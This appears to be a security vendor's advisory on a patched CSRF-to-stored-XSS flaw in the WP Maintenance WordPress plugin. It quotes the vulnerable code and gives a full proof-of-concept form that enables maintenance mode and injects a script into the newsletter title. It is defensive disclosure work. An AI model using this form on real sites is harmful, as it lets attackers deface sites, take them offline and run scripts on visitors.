High Severity Vulnerability Patched in WP Maintenance Plugin

High Severity Vulnerability Patched in WP Maintenance Plugin

Description: Cross-Site Request Forgery to Stored Cross-Site Scripting
CVE ID: CVE-2019-19979
CVSS v3.0 Score: 8.8 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H
Affected Plugin: WP Maintenance
Plugin Slug: wp-maintenance
Affected Versions: <= 5.0.5
Patched Version: 5.0.6

On November 15th, 2019, our Threat Intelligence team identified a vulnerability present in WP Maintenance, a WordPress plugin with approximately 30,000+ active installs. This flaw allowed attackers to enable a vulnerable site’s maintenance mode and inject malicious code affecting site visitors. We disclosed this issue privately to the plugin’s developer who released a patch the next day.

Plugin versions of WP Maintenance up to 5.0.5 are vulnerable to attacks against this flaw. All WP Maintenance users should update to version 5.0.6 immediately.

Limited Nonce Protection and Input/Output Sanitation

WP Maintenance provides a maintenance mode to site owners wishing to take their site offline during a maintenance period, with useful features for enabling and customizing a maintenance page. These features include a customizable title, customizable text, a custom maintenance page image, custom css styles, a countdown, font and color choices, etc.

With extensive customizability comes a greater responsibility for security. Unfortunately, without nonce protection and scarce input/output sanitization on values, Cross-Site Request Forgery (CSRF) leading to Cross-Site Scripting (XSS) vulnerabilities were possible in WP Maintenance.

Settings could be edited across 6 tabs: General, Colors & Fonts, Pictures, CountDown, CSS Style, and Settings, all of which were susceptible to a CSRF attack. Additionally, several settings could be injected with malicious code, allowing XSS attacks. Settings could also be manipulated to an attacker’s benefit. For instance, an attacker could enable maintenance mode on a site, causing a loss of availability.

The following code illustrates the lack of nonce verification on setting updates:

 /* Update des paramètres */
	if( isset($_POST['action']) && $_POST['action'] == 'update_general'  ) {
	
	    if( isset($_POST["wp_maintenance_social_options"]['reset']) && $_POST["wp_maintenance_social_options"]['reset'] ==1 ) {
	        unset($_POST["wp_maintenance_social"]);
	        $_POST["wp_maintenance_social"] = '';
	    }
	    update_option('wp_maintenance_social', $_POST["wp_maintenance_social"]);
	    update_option('wp_maintenance_social_options', $_POST["wp_maintenance_social_options"]);
	    update_option('wp_maintenance_active', $_POST["wp_maintenance_active"]);
   
	    $options_saved = wpm_update_settings($_POST["wp_maintenance_settings"]);
	
	    $messageUpdate = 1;
	}

A Closer Look at the Exploit

Although all of the settings in this plugin could be changed as a result of this CSRF vulnerability, the “General” settings tab had the most potential impact. This tab is where maintenance mode could be enabled and custom text and title options could be configured.

General settings tab for WP Maintenance.

With no input sanitization, the “Enable Newsletter” feature allowed an attacker to inject malicious code, creating a stored XSS vulnerability that could be exploited by taking advantage of the CSRF vulnerability.

The newsletter title is displayed on the maintenance page without output sanitization, meaning any malicious code set in the newsletter block by an attacker would be executed by a visitor’s browser when in maintenance mode.

Enable newsletter setting from dashboard.

Because an attacker could also enable maintenance mode on a single setting update, these vulnerabilities combined could lead to a site being taken offline and, for example, used to redirect visitors to a malicious site.

Example of what a site would look like if exploited by this vulnerability.

Proof of Concept

<html>
  <body>
    <form action="http://newsite.vhx.cloud:8080/wp-admin/admin.php?page=wp-maintenance" method="POST">
      <input type="hidden" name="action" value="update_general" />
      <input type="hidden" name="wp_maintenance_active" value="1" />
      <input type="hidden" name="wp_maintenance_settings[titre_maintenance]" value="EVIL ATTACKER!" />
      <input type="hidden" name="wp_maintenance_settings[text_maintenance]" value="Come back quickly!" />
      <input type="hidden" name="wp_maintenance_settings[text_bt_maintenance]" value="" />
      <input type="hidden" name="wp_maintenance_settings[add_wplogin]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[add_wplogin_title]" value="" />
      <input type="hidden" name="wp_maintenance_settings[enable_seo]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[seo_title]" value="" />
      <input type="hidden" name="wp_maintenance_settings[seo_description]" value="" />
      <input type="hidden" name="wp_maintenance_settings[favicon]" value="" />
      <input type="hidden" name="wp_maintenance_settings[code_analytics]" value="" />
      <input type="hidden" name="wp_maintenance_settings[domain_analytics]" value="newsite.vhx.cloud" />
      <input type="hidden" name="wp_maintenance_social_options[enable]" value="0" />
      <input type="hidden" name="wp_maintenance_social_options[texte]" value="" />
      <input type="hidden" name="wp_maintenance_social[facebook]" value="" />
      <input type="hidden" name="wp_maintenance_social[twitter]" value="" />
      <input type="hidden" name="wp_maintenance_social[linkedin]" value="" />
      <input type="hidden" name="wp_maintenance_social[flickr]" value="" />
      <input type="hidden" name="wp_maintenance_social[youtube]" value="" />
      <input type="hidden" name="wp_maintenance_social[pinterest]" value="" />
      <input type="hidden" name="wp_maintenance_social[vimeo]" value="" />
      <input type="hidden" name="wp_maintenance_social[instagram]" value="" />
      <input type="hidden" name="wp_maintenance_social[google_plus]" value="" />
      <input type="hidden" name="wp_maintenance_social[about_me]" value="" />
      <input type="hidden" name="wp_maintenance_social[soundcloud]" value="" />
      <input type="hidden" name="wp_maintenance_social[skype]" value="" />
      <input type="hidden" name="wp_maintenance_social[tumblr]" value="" />
      <input type="hidden" name="wp_maintenance_social[blogger]" value="" />
      <input type="hidden" name="wp_maintenance_social[paypal]" value="" />
      <input type="hidden" name="wp_maintenance_social_options[size]" value="32" />
      <input type="hidden" name="wp_maintenance_social_options[style]" value="style1" />
      <input type="hidden" name="wp_maintenance_social_options[position]" value="bottom" />
      <input type="hidden" name="wp_maintenance_social_options[align]" value="center" />
      <input type="hidden" name="wp_maintenance_social_options[theme]" value="" />
      <input type="hidden" name="wp_maintenance_social_options[reset]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[newletter]" value="1" />
      <input type="hidden" name="wp_maintenance_settings[title_newletter]" value="<script>alert("YOU'VE BEEN HACKED!")</script>" />
      <input type="hidden" name="wp_maintenance_settings[type_newletter]" value="shortcode" />
      <input type="hidden" name="wp_maintenance_settings[code_newletter]" value="" />
      <input type="hidden" name="wp_maintenance_settings[iframe_newletter]" value="" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

CSRF & Security Awareness

This vulnerability offers a good time to remind ourselves of the importance to stay vigilant to all input from users on our sites, as CSRF exploits are difficult to protect against. A CSRF, or Cross Site Request Forgery vulnerability “is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.” This means that CSRF vulnerabilities can only be exploited when someone with administrative capability performs an action set up by an attacker. For example, clicking on a link while currently authenticated to a web application like WordPress.

A common example to consider is receiving a comment on your WordPress blog containing a link. Clicking the link in the comment to see what the commenter is referring to could lead to exploitation of a vulnerability. Instead of that link taking you to the site you think you may be visiting, it could send a request to update your WordPress website plugin settings on your behalf.

Stay vigilant when clicking links or attachments in comments or even in emails because it is possible that someone is trying to exploit the human weakness on your site: you. We recommend not visiting any links from an untrusted source because malicious content could be on the other side of that link – even on the other end of a URL shortened link.

If you absolutely must visit and don’t have a virtual machine to protect you from infection, ensure you have antivirus on your machine, then copy the link, make sure you are logged out of all sites, open an incognito window, paste the link in the incognito browser, then visit the site. This can help protect against CSRF vulnerabilities.

As shown in this post, a CSRF has the potential to severely affect your site, it’s availability and your users, and this vulnerability can be easily avoided through security awareness.

Wordfence Protection

The Wordfence firewall’s built-in XSS rules protect against the stored XSS in vulnerable versions of WP Maintenance. To exploit this XSS vulnerability the CSRF vulnerability must be exploited. As CSRF vulnerabilities cannot be protected against via firewall, we recommend updating to the latest version of WP Maintenance and following our CSRF recommendations to keep your sites safe.

Disclosure Timeline

November 15th, 2019 – Initial private contact with developer and notification of security issue.
November 15th, 2019 – Developer responds.
November 16th, 2019 – Developers acknowledged issue and released patch.

Conclusion

In today’s post, we detailed a CSRF to Stored XSS flaw present in the WP Maintenance plugin. This flaw has been patched in version 5.0.6 and we recommend users update to the latest version available. Sites running Wordfence are protected against XSS exposure by our firewall’s generic rules, however, our firewall rules can not protect against this CSRF vulnerability so it is important to take precautionary measures when clicking links in comments or sent to you via email so you are not exploited by this vulnerability.

Did you enjoy this post? Share it!

Comments

4 Comments
  • You should clarify that this is not the much more popular "WP Maintenance Mode" plugin.

    • We made sure to add links to the WP Maintenance plugin twice in the blog post so readers could be sure of which plugin we’re referencing. Thanks for your comment, Roddy.

  • What is the CVE identifier for this vulnerability?

    • Hi Henri,

      We currently do not have a CVE identifier for this vulnerability.